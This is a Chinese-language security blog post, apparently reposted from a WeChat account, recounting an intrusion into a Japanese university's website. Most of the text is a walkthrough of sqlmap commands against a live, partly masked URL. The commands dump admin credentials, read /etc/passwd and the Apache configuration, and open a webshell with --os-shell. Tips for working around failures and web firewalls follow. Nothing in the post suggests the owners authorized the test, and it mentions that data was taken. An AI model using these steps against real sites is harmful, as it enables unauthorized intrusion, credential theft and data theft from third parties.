记一次渗透日本某大学实战案例

  • A+
所属分类:安全文章
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

所有话题标签:

#Web安全   #漏洞复现   #工具使用   #权限提升

#权限维持   #防护绕过   #内网安全   #实战案例

#其他笔记   #资源分享   #MSF


0x01 前言

这个案例记录的是2013年给基佬@宝哥看的一个日本大学项目站点,当时没有去细看只拿到了一个旁站权限,过了几天后他给我留言说已经拿下目标站了,叫他发我还不愿意了,不过他忘了以前给我发过,^_^,只好QQ翻了下聊天记录,然后就记录下了这次渗透过程。


基本信息探测:

  • 目标站点:http://icfcs.******-u.ac.jp

  • 服务器IP:210.***.***.76(日本)

  • 环境平台:PHP/5.1.6 + MySQL5

  • 服务器系统:Apache/2.2.3(Red Hat)


0x02 实战测试过程

网站首页随便打开一个链接,手工测试下是否存在注入漏洞?'单引号直接报错了,但是手工测试and 1=1正常,and 1=2也正常,至于为什么返回结果都是正常的我也没找到原因,因个人技术问题手工注入玩不下去了,直接用sqlmap测试一下,根据返回结果可以确定是可以注入的。

(1) 列出所有数据库名
sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --dbms "mysql" --dbs
(2) 列出当前数据库名
sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --dbms "mysql" --current-db
(3) 列出当前数据库用户
sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --dbms "mysql" --current-user
(4) 列出icfcs数据库的表名
sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --dbms "mysql" -D "icfcs" --tables
(5) 列出icfcs数据库admin表中的列名
sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --dbms "mysql" -D "icfcs" -T "admin" --columns
(6) 列出icfcs数据库admin表中的admin_id,admin_pw字段内容
sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --dbms "mysql" -D "icfcs" -T "admin" --C "admin_id,admin_pw" --dump
记一次渗透日本某大学实战案例


通过这个注入漏洞已经成功跑出了网站管理员的帐号、密码,后台目录就是admin,进入后台发现只有3个栏目,只找到一个上传点和fckeditor编辑器,但是都做了限制,我知道的思路基本都试过了,无法利用这个网站后台直接拿到Webshell。


抽根烟休息了会,经过一段时间的测试发现[email protected]这个数据库用户既然具备root用户所拥有的权限,也就是DBA,直接使用sqlmap工具以跨库查询和读取文件两种方式来验证一下。


(1) 跨库查询

sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 -D "eccube" --tables
(2) 读取文件
sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --file-read "/etc/passwd"


既然我们知道了[email protected]具备root用户的权限,那么我们就可以直接利用这个注入点来导出Webshell了,但是需要满足以下一些必备条件。

  • Root数据库用户:[email protected]
  • magic_quotes_gpc:Off(关闭)

  • 绝对路径:/home/icfcs.******-u.ac.jp/public_html/

  • root用户权限下一般都具有load_file读取和into oufile写入权限


(1) sqlmap --file-read获取网站绝对路径

sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --file-read "/etc/httpd/conf/httpd.conf"
记一次渗透日本某大学实战案例


使用sqlmap工具中的--file-read参数读取Apache默认配置文件:/etc/httpd/conf/httpd.conf,读取后的文件会保存在以下路径,通过这个配置文件可以找到网站的绝对路径。

/pentest/database/sqlmap/output/icfcs.******-u.ac.jp/files/etc/httpd/conf/httpd.conf
记一次渗透日本某大学实战案例


(2) sqlmap --os-shell获取网站Webshell权限

sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --os-shell
记一次渗透日本某大学实战案例


所噶,在这里基本上可以说是已经拿下了,来看一下使用sqlmap --os-shell参数上传的一个临时上传文件,文件名都是以随机命名生成,接着我们就可以自己再去传一个一句话或大马上去进行提权,由于基佬说他们已经拿到了所需要的数据,所以我也就没有再继续提权了。

记一次渗透日本某大学实战案例
记一次渗透日本某大学实战案例


0x03 os-shell常见问题

确定当前注入点为root或sa,也得到了目标网站的绝对路径,这时可以尝试使用sqlmap中的--os-shell参数直接写入Webshell,但这并不表示一定能成功的!

当写不进去Webshell时先检查root或sa是否被降权?如果确定没有,那就再去检查一下绝对路径是否正确,或者当前用户是否有这个路径的可写权限?--os-shell失败的一些常见问题如下。
  • 当前注入点不支持堆叠查询(union select);
  • os-shell时没有绝对路径盘符,需要手动添加;

  • xp_cmdshell等组件被禁用或删除时无法利用;

  • 程序代码过滤union/select/load_file()时无法利用;

  • 主机上存在WAF时无法利用,如:云锁、安全狗等;

  • ......等等原因


参考链接:https://forum.90sec.org/forum.php?mod=viewthread&tid=9218


真正要想找到问题出在哪?个人建议还是使用sqlmap中的--proxy参数结合Burpsuite抓取--os-shell的数据包去看一下,曾经遇到过的WAF、过滤和盘符等问题都是通过这种方式找到原因的!

sqlmap.py -u "http://icfcs.******-u.ac.jp/news/detail.php?news_id=66" --os-shell --proxy=http://127.0.0.1:8080




只需在公众号回复“9527”即可领取一套HTB靶场学习文档和视频,1120领取安全参考等安全杂志PDF电子版1208领取一份常用高效爆破字典还在等什么?

记一次渗透日本某大学实战案例

本文始发于微信公众号(潇湘信安):记一次渗透日本某大学实战案例

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: